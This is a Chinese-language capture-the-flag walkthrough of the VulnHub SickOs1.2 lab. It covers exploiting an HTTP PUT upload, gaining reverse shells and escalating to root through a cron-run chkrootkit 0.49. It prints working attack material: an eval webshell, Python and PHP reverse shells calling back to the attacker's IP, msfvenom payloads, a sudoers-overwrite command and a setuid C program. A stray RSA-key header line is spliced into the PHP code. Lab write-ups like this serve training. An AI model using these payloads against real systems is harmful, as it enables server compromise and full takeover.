靶機SickOs1.2的目錄
- 0x01靶機描述
- 0x02環境搭建
- 0x03靶機滲透
- 一、 資訊收集
- 二、 漏洞挖掘
- PUT方法任意寫檔案漏洞
- 1. 查看web主頁
- 2. 查看/test目錄支持的方法
- 3. 驗證PUT方法,向服務器寫入檔案
- 4. 訪問寫入的檔案
- 三、 漏洞利用
- 反彈shell方法一:php一句話木馬 + 蟻劍連接
- 反彈shell方法二:curl上傳php反彈shell腳本
- 反彈shell方法三:msfvenom 生成攻擊載荷 + curl上傳
- 四、 本地提權
- 1. 三連查看
- 2. 查看靶機的版本及內核資訊
- 3. 查看/etc/cron*下所含的所有檔案
- 4. 查看chkrootkit的版本
- 5. 搜索chkrootkit 0.49版本漏洞
- 6. 查看提權步驟
- 方法一:將當前用戶(www-data)加入sudo組
- 方法二:撰寫提權腳本
- 防火墻過濾規則
- 查看flag
- 0x04實驗總結
0x01靶機描述
靶機基本資訊:
| 鏈接 | https://www.vulnhub.com/entry/sickos-12,144/ |
|---|---|
| 作者 | D4rk |
| 發布日期 | 2016年4月27日 |
| 難度 | 中等 |
靶機基本介紹:
這是SickOs后續系列中的第二個,獨立于以前的版本,挑戰的范圍是在系統上獲得最高權限,
0x02環境搭建
-
下載并匯入靶機
打開vmware–檔案–打開–SickOs1.2.ovf


-
查看網路配接器
將靶機網路配接器改為NAT模式

-
啟動靶機
點擊 ?靶機,開啟成功

0x03靶機滲透
一、 資訊收集
- 主機發現
arp-scan -l

- 埠掃描
masscan --rate=100000 -p 0-65535 192.168.30.208

- 詳細掃描
nmap -T4 -sV -O -p 22,80 192.168.30.208

- gobuster進行目錄掃描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.208 -t 30

- 網站指紋識別
whatweb http://192.168.30.208

二、 漏洞挖掘
PUT方法任意寫檔案漏洞
1. 查看web主頁
在web端找了個遍,并沒又找到什么有效資訊,只找到了這個目錄(其中的a.php是我后面自己上傳上去的),網頁顯示web服務器lighthttpd/1.4.28

經過在網上搜索,也沒有發現web服務器的版本漏洞
2. 查看/test目錄支持的方法
使用nmap腳本進行掃描
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.30.208

我們可以看到支持PUT方法,我們可以想到PUT檔案上傳
3. 驗證PUT方法,向服務器寫入檔案
PUT方法寫入phpinfo主頁
<?php phpinfo();?>

4. 訪問寫入的檔案

成功訪問
三、 漏洞利用
反彈shell方法一:php一句話木馬 + 蟻劍連接
- 使用PUT方法寫入一句話木馬
<?php @eval($_POST[cmd]); ?>

木馬檔案寫入成功
-
蟻劍連接成功

-
運行腳本將shell反彈至kali,以至于我們好進行后面的操作
在這里進行反彈shell時使用的埠是443埠,因為別的埠可能防火墻進行了過濾,總是連接失敗
#反彈shell腳本:shell.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.30.182",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
可能環境問題,wget并未下載成功,我們直接將shell.py可以拖進/tmp目錄

運行上傳的反彈shell腳本(這里運行了多次才運行成功,可能應為換件問題,也可以嘗試在蟻劍,冰蝎上進行運行腳本)

成功反彈shell

反彈shell方法二:curl上傳php反彈shell腳本
- 使用linux自帶php反彈shell腳本,使用時對ip與port要進行修改

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
-----BEGIN RSA PRIVATE KEY-----
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
- 使用curl命令工具將php-reverse-shell.php腳本上傳至服務器
curl -v -T php-reverse-shell.php "http://192.168.30.208/test/"
#-v, --verbose 輸出詳細內容
#-T, --upload-file FILE 后跟上傳目標檔案(Transfer)
#-H, --header LINE 添加請求頭, 可添加多個 -H 引數,

上傳失敗,出現417錯誤
查找資料發現需要在curl的引數中加上特定的HTTP Header Expect:,即將Header中Expect的值手動指定為空
- 再次上傳腳本檔案
curl -v -T php-reverse-shell.php -H 'Expect:' "http://192.168.30.208/test/"

上傳成功
- kali進行監聽443埠
nc -vnlp 443

4. 點擊上傳的php-reverse-shell.php檔案,將會自動執行php代碼,就會得到目標主機的shell(我這里可能是因為環境的問題,并沒有成功反彈shell,懂得方法最重要)

反彈shell方法三:msfvenom 生成攻擊載荷 + curl上傳
- 使用msfvenom生成攻擊載荷
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.30.182 lport=443 R >php_shell.php

- 使用curl將生成的攻擊載荷上傳至服務器
curl -v -T php_shell.php -H 'Expect:' "http://192.168.30.208/test/"

- 設定msf進行監聽
┌──(root💀kali)-[~]
└─# msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.30.182
lhost => 192.168.30.182
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.30.182:443
[*] Sending stage (39282 bytes) to 192.168.30.208
[*] Meterpreter session 1 opened (192.168.30.182:443 -> 192.168.30.208:52295) at 2021-09-07 17:01:39 +0800
meterpreter > shell
Process 6174 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/test$

- 點擊執行所上傳的腳本 ,成功反彈shell

python打開一個標準的shell
python -c 'import pty;pty.spawn("/bin/bash")'

四、 本地提權
1. 三連查看
(我是誰,我在哪兒,你是誰)
whoami;pwd;uname -a

2. 查看靶機的版本及內核資訊
lsb_release -a

3. 查看/etc/cron*下所含的所有檔案
crontab 是用來讓使用者在固定時間或固定間隔執行程式之用,換句話說,也就是類似使用者的時程表
ls -la /etc/cron*

在/etc/cron.daily目錄下,發現chkrootkit工具
4. 查看chkrootkit的版本

5. 搜索chkrootkit 0.49版本漏洞

有版本漏洞,并且還是本地提權漏洞
6. 查看提權步驟

提權步驟:
1.在/ tmp中放入一個名為’update’的非root所有者的可執行檔案,
2.以root身份運行chkrootkit,其檔案/ tmp /update將以root身份執行,
如果攻擊者知道管理員是定期運行chkrootkit(通過查看cron.daily獲知),并且對/tmp(沒有掛載noexec)有寫訪問權限,就可以利用該漏洞獲取root權限,
方法一:將當前用戶(www-data)加入sudo組
- /tmp目錄下 updata檔案,并賦予可執行權限
touch update
chmod +x update

- 向update檔案中寫入將www-date添加到sudo組的命令
user1 ALL=(ALL) ALL
#我們來說一下這一行的配置的意思
#user1 表示該用戶user1可以使用sudo命令,第一個ALL指的是網路中的主機(可以是主機名也可以是ip地址),它指明user1用戶可以在此主機上執行后面命令;第二個括號里的ALL是指目標用戶,也就是以誰的身份去執行命令,最后一個ALL是指命令路徑,
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers' > /tmp/update

3. 查看當前用戶可執行的sudo檔案

- sudo進行提權,成功提權
sudo su root

方法二:撰寫提權腳本
- 撰寫腳本
#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}

- 通過curl上傳至服務器
curl -v -H 'Expect:' -T shell.c "http://192.168.30.208/test/"

- 編譯運行,提權成功


防火墻過濾規則
在家目錄下發現防火墻過濾規則,可以發現

從過濾規則中可以看出:
對于入站流量:只接收22、80目的埠,8080、443源埠
對于出站流量:只接收22、80源埠,8080、443目的埠
即,本地埠只允許22和80,外來埠只允許8080和443,用來保證對外部HTTP(s)服務的正常訪問
所以我們監聽443埠才能接收反彈shell
查看flag

0x04實驗總結
- 這個靶機考察了探測目錄支持http協議的方法
- 使用多種方法進行反彈shell,需要注意反彈shell時使用的埠,這個靶機對埠設定了規則,活學活用最重要
- 在本地提權這一塊確實有點難度,沒想到這一塊,crontab檔案在提權中需要考慮到位,提權的方法需要多多掌握
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298604.html
標籤:其他
上一篇:Base64加密解密
